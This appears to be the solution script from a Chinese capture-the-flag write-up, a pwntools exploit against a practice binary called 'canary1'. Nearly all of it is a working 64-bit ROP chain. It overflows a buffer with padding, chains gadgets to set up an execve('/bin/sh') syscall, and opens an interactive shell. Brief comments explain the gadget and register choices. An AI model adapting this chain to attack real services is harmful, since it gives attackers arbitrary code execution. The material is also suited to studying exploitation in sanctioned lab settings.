p = process('./canary1')

# syscall
string = 'what do you want to say:\n'
paddings = 0x28
bin_sh_addr = 0x000000006b90f0

#这里注意64位传参的前三个参数依次为rdi,rsi,rdx
pop_rax_ret_addr = 0x00000000004005af
pop_rdi_ret_addr = 0x00000000004006a6
pop_rsi_ret_addr = 0x0000000000410183
pop_rdx_ret_addr = 0x000000000044b5c6

# 要使用syscall而不是x86的int_0x80
# 使用ROPgadget --binary canary1 --only syscall查找得到
# int_0x80_addr = 0x0000000000417f2f
syscall_addr = 0x00000000004012fc

# 注意此题为64位,系统调用和32位不同,所以不能使用11的方法,这里使用0x3b(59)
# 其他的基本一致
payload = b'a' * paddings + p64(pop_rax_ret_addr) + p64(0x3b)
payload += p64(pop_rdi_ret_addr) + p64(bin_sh_addr) + p64(pop_rsi_ret_addr) + p64(0) + p64(pop_rdx_ret_addr) + p64(0)
payload += p64(syscall_addr)
p.sendlineafter("How to bypass canary: \n", 'a')
p.sendlineafter(string, payload)

p.interactive()

运行结果:

image-20230813223307551

结束…